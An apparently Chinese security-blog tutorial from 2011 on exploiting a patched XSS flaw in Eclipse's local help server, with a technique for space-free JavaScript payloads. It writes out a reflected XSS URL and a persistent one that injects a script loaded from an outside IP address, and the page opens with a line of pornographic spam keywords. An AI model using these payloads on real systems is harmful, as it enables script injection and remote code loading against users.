国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅 系統(tǒng)安全應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁 > 信息安全 > 應(yīng)用安全 >

使用跨站腳本攻擊Eclipse本地Web服務(wù)器

時(shí)間:2011-05-05 20:25來源: 點(diǎn)擊:
Eclipse是一個(gè)開放源代碼的、基于 Java 的可擴(kuò)展開發(fā)平臺(tái),目前該平臺(tái)在世界范圍內(nèi)得到了廣泛的應(yīng)用。
TagsEclipse(4)  

  Eclipse是一個(gè)開放源代碼的、基于 Java 的可擴(kuò)展開發(fā)平臺(tái),目前該平臺(tái)在世界范圍內(nèi)得到了廣泛的應(yīng)用。本文將介紹對(duì)于Eclipse本地一個(gè)跨站腳本漏洞的利用方法。更重要的是,我們將學(xué)習(xí)一種處理有效荷載中的空格符的高級(jí)技巧。

  一、Eclipse簡(jiǎn)介

  Eclipse 是一個(gè)開放源代碼的、基于 Java 的可擴(kuò)展開發(fā)平臺(tái)。就其本身而言,它只是一個(gè)框架和一組服務(wù),用于通過插件組件構(gòu)建開發(fā)環(huán)境。幸運(yùn)的是,Eclipse 附帶了一個(gè)標(biāo)準(zhǔn)的插件集,包括 Java 開發(fā)工具。雖然大多數(shù)用戶很樂于將 Eclipse 當(dāng)作 Java IDE 來使用,但 Eclipse 的目標(biāo)不僅限于此。Eclipse 還包括插件開發(fā)環(huán)境(Plug-in Development Environment,PDE),這個(gè)組件主要針對(duì)希望擴(kuò)展 Eclipse 的軟件開發(fā)人員,因?yàn)樗试S他們構(gòu)建與 Eclipse 環(huán)境無縫集成的工具。由于 Eclipse 中的每樣?xùn)|西都是插件,對(duì)于給 Eclipse 提供插件,以及給用戶提供一致和統(tǒng)一的集成開發(fā)環(huán)境而言,所有工具開發(fā)人員都具有同等的發(fā)揮場(chǎng)所。

  這種平等和一致性并不僅限于 Java 開發(fā)工具。盡管 Eclipse 是使用 Java 語言開發(fā)的,但它的用途并不限于 Java 語言;例如,支持諸如 C/C++、COBOL 和 Eiffel 等編程語言的插件已經(jīng)可用,或預(yù)計(jì)會(huì)推出。Eclipse 框架還可用來作為與軟件開發(fā)無關(guān)的其他應(yīng)用程序類型的基礎(chǔ),比如內(nèi)容管理系統(tǒng)。

  基于 Eclipse 的應(yīng)用程序的突出例子是 的 WebSphere Studio Workbench,它構(gòu)成了 IBM Java 開發(fā)工具系列的基礎(chǔ)。例如,WebSphere Studio Application 添加了對(duì) JSP、servlet、EJB、XML、Web 服務(wù)和訪問的支持。

  二、Eclipse的跨站腳本利用

  由于Eclipse得到了廣泛的應(yīng)用,所以它的漏洞會(huì)對(duì)許多用戶造成影響,不過目前本文所討論的安全漏洞已經(jīng)有補(bǔ)丁可用,所以下面就盡情討論吧。之前,Eclipse的幫助系統(tǒng)曾經(jīng)發(fā)現(xiàn)過XSS安全漏洞,很明顯,所有基于Eclipse的產(chǎn)品同樣也有此漏洞,下面介紹新近發(fā)現(xiàn)的一個(gè)漏洞。

  該漏洞的本質(zhì)就是本地運(yùn)行的Web存在XSS問題。 如果用戶正在運(yùn)行IE的話,他們就有可能受到該問題的困擾。

  當(dāng)你單擊“Help”菜單的“Help Contents”菜單項(xiàng)的時(shí)候,系統(tǒng)將在本地計(jì)算機(jī)上啟動(dòng)一個(gè)Web服務(wù)器。經(jīng)進(jìn)一步調(diào)查發(fā)現(xiàn),這個(gè)服務(wù)器是Apache Coyote 1.1。乍看起來該Web服務(wù)器是從一個(gè)偽隨機(jī)端口啟動(dòng)的,但是實(shí)際上有些端口號(hào)用的更頻繁一些。當(dāng)然,用于端口號(hào)的隨機(jī)數(shù)生成算法不在本文的討論范圍之內(nèi),如果您感興趣的話,可以自己研究一下。

  好了,我們的目標(biāo)只有一個(gè),那就是拿下Eclipse。下面是Eclipse的幫助系統(tǒng)存在反射式XSS漏洞的地址:

  http://localhost:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');>

  把上述地址輸入的地址欄,將會(huì)看到下面那親切的畫面:

  圖1 彈出的警示框

  下面是存在持久性XSS漏洞的地址:

  http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&workingSet=

  '%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%%2Fscript%3E&hrefs=%2Fcom..flexbuilder.help.api%2Ftoc.xml&oldName=

  當(dāng)我們?cè)贓clipse上試驗(yàn)反射式XSS攻擊時(shí),必須面對(duì)這樣一個(gè)問題,即Eclipse沒有把%20和空格符實(shí)現(xiàn)自動(dòng)轉(zhuǎn)換,所以我們要設(shè)法避開這個(gè)問題,不過這并不太難。那么,怎樣寫一個(gè)沒有空格符的JavaScript有效載荷呢?實(shí)際上,這很簡(jiǎn)單。下圖是用于有效載荷的示例代碼:

  圖2 有效荷載示例代碼

  首先,關(guān)鍵字“var”不是必需的。我們?cè)贘avaScript 中可以進(jìn)行隱式變量聲明,所以完全可以將這些關(guān)鍵字去掉,這樣變量名和關(guān)鍵字之間也就無所謂空格問題了。但是其他內(nèi)容呢?別急,接下來我要做的是,去除所有不需要的空格符,并變成下面的樣子:

  圖3 精簡(jiǎn)空格后的有效荷載示例代碼

  呵呵,上面的代碼看起來緊湊多了,但是仍然存在空格符。所以下面要做的是,把所有東西弄成一個(gè)字符串,并把空格符替換成“..”,注意不帶雙引號(hào)。

  圖4 把有效荷載變成單個(gè)字符串

  注意,由于我們使用“..”字符替代了空格符,所以無法使用eval函數(shù)將這個(gè)字符串當(dāng)作一個(gè)JavaScript表達(dá)式一樣去執(zhí)行它,相反,我們需要使用replace函數(shù)。

  圖5 把有效荷載變成單個(gè)字符串

  現(xiàn)在,我們得到了如下所示的XSS攻擊字符串:

  圖6 把有效荷載變成單個(gè)字符串

  好了,把上述代碼輸入IE瀏覽器的地址欄,將看到如下所示的畫面:

  圖7 攻擊成功

  三、小結(jié)

  Eclipse是一個(gè)開放源代碼的、基于 Java 的可擴(kuò)展開發(fā)平臺(tái),目前該平臺(tái)在世界范圍內(nèi)得到了廣泛的應(yīng)用。本文介紹了對(duì)于Eclipse本地Web服務(wù)器一個(gè)跨站腳本漏洞的利用方法。與此同時(shí),我們還介紹了一種處理有效荷載中的空格符號(hào)的高級(jí)技巧。

------分隔線----------------------------

推薦內(nèi)容